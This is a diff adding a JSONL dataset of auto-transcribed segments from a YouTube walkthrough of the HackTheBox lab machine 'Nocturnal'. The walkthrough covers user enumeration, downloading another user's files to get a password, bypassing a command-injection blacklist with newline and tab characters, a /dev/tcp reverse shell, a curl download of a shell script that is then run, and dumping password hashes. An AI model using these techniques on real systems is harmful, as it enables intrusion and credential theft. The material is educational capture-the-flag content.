Add HackTheBox_-_Nocturnal.jsonl
Browse files- HackTheBox_-_Nocturnal.jsonl +155 -0
HackTheBox_-_Nocturnal.jsonl
ADDED
|
@@ -0,0 +1,155 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{"text": "What's going on YouTube? This is IPSC. I'm doing Nocturnal from Hack the Box, which starts out with seeing a web page that lets you register and upload files. If you look at the get parameters, you'll see username is one of them. And by fuzzing this variable, you'll be able to enumerate and download another user's files, which one of the users has a document that has their password. Logging in as this user reveals an admin panel where you can see the source of the application and also discover a command injection vulnerability that does filter many special characters that lead to code execution. However, a common missed character is the line break itself which will let you get onto the box and once here you discover another website is running on local host and is vulnerable to a 2023 CVE. The", "start": 0.16, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 2 |
+
{"text": "only trick here is spraying the login to find out the admin user has the same password as another user from the first website. So with all that being said, let's just jump in. As always, let's start off with the end map. So - sc for default scripts, SV enumerate versions vv for double verbose. This gives us things like the TTL OA output all form in the end map directory and call it nocturnal. And then the IP address of 10101.64.", "start": 41.6, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 3 |
+
{"text": "This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22, and the banner tells us it's an Abuntu server. We also have HTTP on port 80. Its banner tells us it's engine X also running on Ubuntu and it is redirecting us to nocturnal.htb. So let's go ahead and add this to our host file. So pseudo v etsy host and then we can add 10 10 1164 nocturnal.htb. Save that. And I guess we'll just take a look at the web page because end mapap's not really telling us much more. Um there's no point in trying just to attack SSH because there's been no recent vulnerabilities there. So going to nocturnal.htb we see we can login or register and it has some basic information here right.", "start": 65.84, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 4 |
+
{"text": "My first thing is always looking at the source code to see if I can identify how this page was created. We see login.php register.php. So we know this is a PHP website. And based upon register.php PHP it not being like um pretty paths. I'm guessing this is handcoded PHP, not using a framework like Cake PHP or Laravel. So I'm going to start a Go Buster real quick and we'll see if there's any other files. So we'll do Go Buster um directory mode word list oplist discovery web content raft small words.ext and then we'll put the extension PHP the URL http nocturnal.http htb. And I probably should have outputed that to a file, but um let's just go and see what happens, right? Uh let's see. Uh let's go ahead and test out the login real quick. If I do um a a username that probably doesn't exist, we get invalid username or password. If we try admin, we also get it. I was seeing if we had a", "start": 114.32, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 5 |
+
{"text": "way to enumerate um valid usernames on this box, right? We could try to register. And if I try to register admin, let's see, fail to register user. So maybe this is a way we can identify valid users. If we just try to register a bunch of accounts, right? Um if we do IPSAC password, it lets us um register and we can log in. And right here we have welcome IPSAC. We can upload a file. It tells us our files and it's blank. So I'm going to go ahead and try to upload a file. I'm just going to do like readme.licens.", "start": 173.519, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 6 |
+
{"text": "And we only have a few file types allowed. PDF, doc, docx, and odt. So, let's go ahead and um create a file real quick. We'll do vshell.pdf, I guess. And then we'll do php um I'm just going to do php info for now.", "start": 206.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 7 |
+
{"text": "And that'll tell us if we ever get code execution. We also have a backups directory. I'm going to take a look at what slashbackups is real quick. So, nocturnal backups. Uh, we just get a forbidden. So, let's go here. We can do HTB. Uh, what is the box name? Nocturnal. And I'm going to do shell.pdf. And I'm actually going to intercept this one. So, intercept is on there. I'm going to turn burpuite. Upload file. And I'm turning intercept on so we can play with like the file name and um other things if we have to. Right.", "start": 227.599, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 8 |
+
{"text": "We go here. It actually looks like it uploaded. We have shell.pdf uploaded here. And we have view.php usernames ipsseack um file is shell.pdf. So let's go ahead and go back to a browser. I'm just going to um turn intercept off. It'll probably error saying the files up. We got two files actually. I thought it was going to error and say like uh file already exist, but we got two files here. If we navigate to this, I want to turn intercept back on. Click shell.pdf. We can see the get request. And we're doing username and file. And we just see the raw PHP string we did. Now, there's two ways this could happen, right? um either the database is going to be storing the f uh the file as a binary blob in the database or after it uploads um we have some table here that has username file and path on the server right so if I", "start": 267.52, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 9 |
+
{"text": "have SQL injection somewhere here um we could potentially do a union injection and rewrite the path on the server and potentially include files um elsewhere like maybe Etsy pass WDD or a configuration file we just have a file disclosure vulnerability. So, um, that's what I'm going to test for here. We put a single quote in and we have a error message, invalid file extension. I'm just going to highlight this error. We'll autoscroll. So, um, whenever we send the request, it goes down. So, it looks like this extension does matter. So, what I'm going to do is put a comment and then we'll make sure it ends in PDF. And we see file does not exist. So there's no SQL injection here. We're sending this entire string probably to the database to try to get it. So let's go ahead and take that out. We have the file again. And I'm just going to try it on the username. User not found. If we do the", "start": 325.84, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 10 |
+
{"text": "SQL injection, um, still user not found. Change the single quote to a double quote. Uh, just put this. So it doesn't look like this is vulnerable to SQL injection at all. Um, I just realized I didn't have anything after the space. So I just wanted to confirm. Yeah. So this isn't vulnerable to any type of SQL injection. Um what if we do just a username? So if we send just a username, uh we get invalid file extension. Now I wonder if we can like include um a wild card. And if this goes to the file system, maybe it'll give us the first PDF in the directory, right? um we get file does not exist but it is telling us a list of files right what were the other extensions allowed if we do starstar invalid file extension does it have it here uh PDF there was like PDF some other things uh let's just try", "start": 382.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 11 |
+
{"text": "I guess we can cause the error message and upload to get a list of extensions So, we'll change this to be shell.php.", "start": 449.28, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 12 |
+
{"text": "There we go. PDF docx um Excel and open office. So, I'm going to try and do star.od and see if we get anything. It's just listing shell.pdf.", "start": 458.4, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 13 |
+
{"text": "So, nothing too interesting there. But I wonder if we have a different user. If we go to admin, let's see. File doesn't exist. And it tells us files available for download. So, let's try each of these extensions. We're going to do PDF.", "start": 475.84, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 14 |
+
{"text": "And let's see. Let's just autoscroll here. There we go. Is this still set? It is.", "start": 494.8, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 15 |
+
{"text": "So, we have What are the other extensions we can We did PDF um docx. Let's just try all these real quick. Doc x. So 332 332. So I'm just looking at the bytes at the bottom right so I don't have to keep scrolling. XLS.", "start": 502.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 16 |
+
{"text": "So the Excel file 330 330. And the last one's going to be ODT. So, we can't list any files here, but we have a way to enumerate valid users here potentially, right? If we do a username that doesn't exist, let's see what happens. User not found. So, let's go ahead and send this to um fuff. So, let's go here and let's see. Copy to file. Let's not do dog. Let's do HTTP nocturnal.", "start": 528.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 17 |
+
{"text": "I'll do this um view request. Save that.", "start": 566.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 18 |
+
{"text": "And then we can do fuff word list optlist discovery. Is it like a usernames? Let's see. What do we have? Web content.", "start": 573.2, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 19 |
+
{"text": "Uh, let's just go up list find dot dash I username.", "start": 589.36, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 20 |
+
{"text": "Okay, let's do usernames and this should be fine I guess. So fuff word list opse list that and then request uh let's see where am I? I'm in opse directory. Uh let's go back.", "start": 595.36, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 21 |
+
{"text": "And this was view request. That should be fine.", "start": 621.68, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 22 |
+
{"text": "Um let's see. Dash request like this. And then we need dash request proto http.", "start": 627.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 23 |
+
{"text": "And okay, I'm going to uh let's do filter line. Uh let's do filter size 2985 and see if we get any hits here. So admin and Amanda. So I'm going to go back here and we are going to change the username to Amanda.", "start": 641.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 24 |
+
{"text": "And let's see. We have a new file, privacy.ODT. So, let's go ahead and see if we can read this file. Going to it. It looks like we can. So, let's go ahead and I'm going to copy this as a curl command. And there's another user Tobias, but let's just curl this. And I'll do O privacy. Ood.", "start": 668.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 25 |
+
{"text": "And let's see. Let's see if we have open office installed on our box. Uh maybe we don't. Let's do open dot. Um privacy od doesn't look like I have open off installed. Um pseudo apt install open office. Uh search.", "start": 693.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 26 |
+
{"text": "Let's see. It's libri office.", "start": 721.2, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 27 |
+
{"text": "install. Okay, I'm going to pause the video while this installs and then we'll open up this document. Okay, now that Liberty Office is installed, we can go ahead and open privacy.od. So, clicking it, it tells me it's corrupt. Uh, sure, try to repair. Uh, can't be repaired. Um, oh, we have the HTTP headers in this. So, let's just edit the hedgers out so we can highlight these lines. Delete.", "start": 728.079, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 28 |
+
{"text": "Save that. And let's see if we can open it now. Looks like we can. And we see Nocturnal has set the following temporary password for you. It has this password. And I'm guessing this is to Amanda's account. Yep, Amanda there. So, let's go ahead and copy this. We will log out of the application. Uh my burp suite is set to intercept. So turn that off and then do Amanda and then log in. So logging in, we have the one file there, but we also have a admin panel here. So if I click go to admin panel, we have file structure has PHP files. We can create a backup and enter a password. Um if we look at let's see admin.php, we can see these files. And one thing I will note, if we go all the way back to our recon, we do have a slashbackups directory. So I'm thinking maybe we have to do something with backups to put a PHP file there and maybe we can access it directly or something like that,", "start": 758.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 29 |
+
{"text": "right? So we have something there. Um, are these directories or they're all 403? There's a lot of uploads directories. I'm guessing anything that begins with uploads just gets a 403 error. So that's probably that. But let's go take a look at the source code.", "start": 822.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 30 |
+
{"text": "So first off, it starts with um if the session is if there is a valid session.", "start": 841.04, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 31 |
+
{"text": "If a username is um admin or Amanda. So if it's not in valid session and a username isn't admin or Amanda, we just um redirect to login.php and exit. We have sanitize file path that just gets the base name. So this is proventing any like um what is it? I'm blanking on the name but uh directory traversal. That's it. So it's protecting against directory traversal type of attacks. Uh list PHP files. Let's see this is the view. We have clean entry blacklisting a bunch of characters for uh command injection it looks like.", "start": 846.32, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 32 |
+
{"text": "And then scroll down. Let's see. Uh here we go. If set post backup and empty password or password is not empty, then we're going to call clean entry. I think this was the thing sanitizing things. And down here eventually we'll do a process open and run a command. Now if we look at the command, we're doing a zip-x uh specifying the folder it goes to r specifying a password here. And this password is from the post. So it looks like we potentially have a command injection here if we can bypass the clean entry. So clean entry is blacklisting all these um things. So we have semicolon. We can't do we can't do and or and and it's funny that both of these are there. Uh we can't use pipes.", "start": 889.12, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 33 |
+
{"text": "We can't use the dollar sign. We can't use back ticks. And we also can't do spaces. Um but if we have a process open there's one thing that it did not do and that is line breaks right so if you do a command and you specify like um zip whatever and then we insert a line break then we can potentially do a second command right uh the other thing that's going to be annoying is we can't do um spaces so did they do okay yeah we can't two spaces. And the two common ways to um do a space is dollar ifs like that. And that's the internal field separator. That's a uh space by default. You could also like switch to like bash some word like extra something. I forget what it's called, but bash if you put it in squiggly brackets, then commas become spaces. But we can't do squiggly brackets either. Um but also there's a joke here. Um, you", "start": 944.0, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 34 |
+
{"text": "can also use tabs. So, tabs are also a space. So, let's go ahead and try this.", "start": 1008.88, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 35 |
+
{"text": "So, first we want to find out what those characters are. And I'm just going to go to a repeater tab. Um, and let's say I'll do a enter.", "start": 1014.56, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 36 |
+
{"text": "Let's see. Can we highlight this? We'll send convert selection HTML or URL.", "start": 1026.559, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 37 |
+
{"text": "So, a line break is going to be 0 D0. So we can probably just do the 0 D character. If that doesn't work, then I'll try 0 A. The second thing I want to know is what a space is. So let's convert this selection URL encode 09. So I say space here, what a tab is. So I'm going to replace all um line breaks with 0D and then spaces with 09. So let's try this. I'm going to go to the proxy. We'll turn intercept on. Then we can go to the page and I want to create a backup and the backup password was going to be please subscribe. I am intercepting on. Okay, let's go to Burp. Send this. And let's see if I just send this here.", "start": 1034.24, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 38 |
+
{"text": "Did this error? Not sure if it did or not.", "start": 1094.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 39 |
+
{"text": "Enter password. Create backup. So, we have backup created successfully. I didn't know if it errored or not because backup is blank, but it looks like it worked just fine. So, what I want to do is we said what? 0D and then we do sleep and then I'm going to do 09 which is a tab and this page took two seconds. I'll do a sleep five and then I'm going to do a um 0D again.", "start": 1102.32, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 40 |
+
{"text": "And I'm also going to put a single quote here because if we look at the zip command, um, we're doing a double quote and then adding the password in and then double quote. So by adding the double quote, I think I'm escaping it, right? So we do double quote, then a line break, enter a command. Actually, it' be easier if I just type this. Um, we already had a window here. Where's my V? There we go.", "start": 1129.6, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 41 |
+
{"text": "So, this is the command. What we're going to do is if we just put the line break here, I guess that would work. We did sleep five and then another line break. Um, what I'm worried about here though is this double quote um taking effect and spanning the multi-line. So, it never actually works.", "start": 1158.4, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 42 |
+
{"text": "So, that's why I add the double quote here. So, we terminate this double quote. then a command works and then this line will just error. Right? So that's why I put a line break here and another line break. So we just have a malicious command right here that is clean. So let's try this. I'm going to send the command. And I think this is taking longer than Oh, nope. Still just two seconds. Um I'm not sure we got command execution. Uh 0 A was another thing we could potentially do. Let's see. Um, that is not looking good. Um, maybe the process open like runs in the background, right? So, I'm going to change this sleep to be ping and then we'll do a tab dash c another tab uh one and then 10 10 148. So, we're going to try pinging oursel.", "start": 1181.84, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 43 |
+
{"text": "So we'll do a pseudo TCP dump- I ton zero ICMP. I'm also going to add the dash N flag so we don't do DNS lookups. Send it.", "start": 1242.0, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 44 |
+
{"text": "We don't have anything. Let's see. I'm going to change this to 0 A on both.", "start": 1254.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 45 |
+
{"text": "And that looks like it worked. So, I don't think 0 D works, but I think 0 A does work.", "start": 1268.4, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 46 |
+
{"text": "Send it. There we go. Um, if we did sleep again. Did I change zero A in both spots? Let's just try this. Uh, five there.", "start": 1275.2, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 47 |
+
{"text": "And let's see. This is definitely longer than two seconds. So I think what I did is 0D I only changed it in the first bot. I didn't change it in both. So that's why sleep didn't work. Um so there we go. We have command execution here. And what we want to do is um put a bash shell. So I'm going to do uh let's do vshell.sh bash- i.", "start": 1292.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 48 |
+
{"text": "Um, let's do b- c- i dev tcp 1010 10148 9,000 1 0 and one like that. And I think this may work.", "start": 1319.6, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 49 |
+
{"text": "I'm going to save this and then we can say said search for any space replace it with 09 like that on shell.sh SH and let's see if this works. If this doesn't work, then I'm probably just going to use a curl payload to curl and then download it. Um, let's see. We're between the two 0A. We have that. NC LVNP 90001.", "start": 1333.84, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 50 |
+
{"text": "Send it. And we don't have a shell.", "start": 1365.76, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 51 |
+
{"text": "Let's see. bash c i devtcp.", "start": 1371.919, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 52 |
+
{"text": "Uh maybe we have to URL encode more like this cuz that amperand I think is breaking it.", "start": 1379.919, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 53 |
+
{"text": "Yeah, that does not look good.", "start": 1393.76, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 54 |
+
{"text": "Let me just try one thing and encode the entire thing. So I can do that. ControlU send it. Nothing there. So when I encoded the whole thing, it went near it instantly, which was odd. Um, but I do notice one thing. We have that amperand, and I don't think I ever encoded this amperand.", "start": 1399.84, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 55 |
+
{"text": "Um, so let's make sure that's encoded. There we go. And we get a response immediately now, which leads me to believe my command is failing. So I'm going to control Z a bunch of times.", "start": 1426.799, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 56 |
+
{"text": "There we go. And I'm going to now encode that. Send it. And this does not work. Maybe I just need to switch and use curl. Being really stubborn because I like having oneliners that I don't like um touch the file system with. So if we decode this b- c- i dev tcp 1010148 90001.", "start": 1442.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 57 |
+
{"text": "That looks right. I'm not sure where I'm screwing this up.", "start": 1477.919, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 58 |
+
{"text": "The fact that it's executing immediately leads me believe something good is happening, but I just can't figure it out right now. Let's see.", "start": 1492.0, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 59 |
+
{"text": "I know I said one more thing. Let's give me one more second. Let's just try this again. Okay, zero A. I was like, I have a bash, but no.", "start": 1506.159, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 60 |
+
{"text": "Okay, that's all good.", "start": 1517.44, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 61 |
+
{"text": "Yeah, something's going on there. So, let's do the lazy route. I'm going to do curl. Um, I think I can just hit tab, right? Yeah, let's just do tabs for now on ode devshmell.sh and then we'll do http 10 1048 8000 shell.sh and then what is it 0 a for line break and then we can say bash tab um /devshmell.sh.", "start": 1525.36, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 62 |
+
{"text": "Let's try this. Um, our fuff is still going off. We can kill that. Make dirt dubdubdub. Go in here. Vshell.sh bin bash bash- i dev tcp 10 1048 900 and one like that. Save it. Okay. Python 3 m http server. So when we send this, there we go. It downloaded the shell and we got code execution. I'm sure if you play around with that oneliner, you can get it to work. I'm I just don't know exactly where I screwed up, but let's go. Python 3- C import pty pty spawn. I forgot a single quote. Import pty pty spawn bin bash like that.", "start": 1564.08, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 63 |
+
{"text": "sdty raw minus echo foreground enter enter and then we can export term is equal to xterm which will enable us to clear the screen and what I'm actually going to do um let's control z to back out of this real quick this is where the shell was going to just save this and say um analysis later at the end of the video we're going to troubleshoot this and figure out exactly where we went wrong um I'm not sure exactly how we're going to troubleshoot it. But we'll figure it out once we root the box. Um, let's see.", "start": 1620.88, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 64 |
+
{"text": "Now, what we want to do is um extract the database, right? To get all the credentials whenever I land on a web server. That is my favorite thing to do. So, I'm going to cat um login.php.", "start": 1654.24, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 65 |
+
{"text": "Um, let's actually just do a head on it. We including a file. Okay, there we go. Nocturnal database. So, let's go cd Nocturnal database. And then, do we have SQL light on the box? We do. I'm just going to dump it.", "start": 1668.559, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 66 |
+
{"text": "Uh, oh god. Uh, let's say um, sty- A. So, we want rows 26, columns 121. Rows 26, call 121. There we go.", "start": 1689.2, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 67 |
+
{"text": "So, what that did was let my terminal be the right size. Um, I think Did my shell just die? No. Let's just dod dump. There we go.", "start": 1712.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 68 |
+
{"text": "And let's see. We have a few hashes. So, admin A commander Tobias Kavi E Z. I don't know what that one is. But let's just select all the hashes. So that is in the table users and password.", "start": 1727.36, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 69 |
+
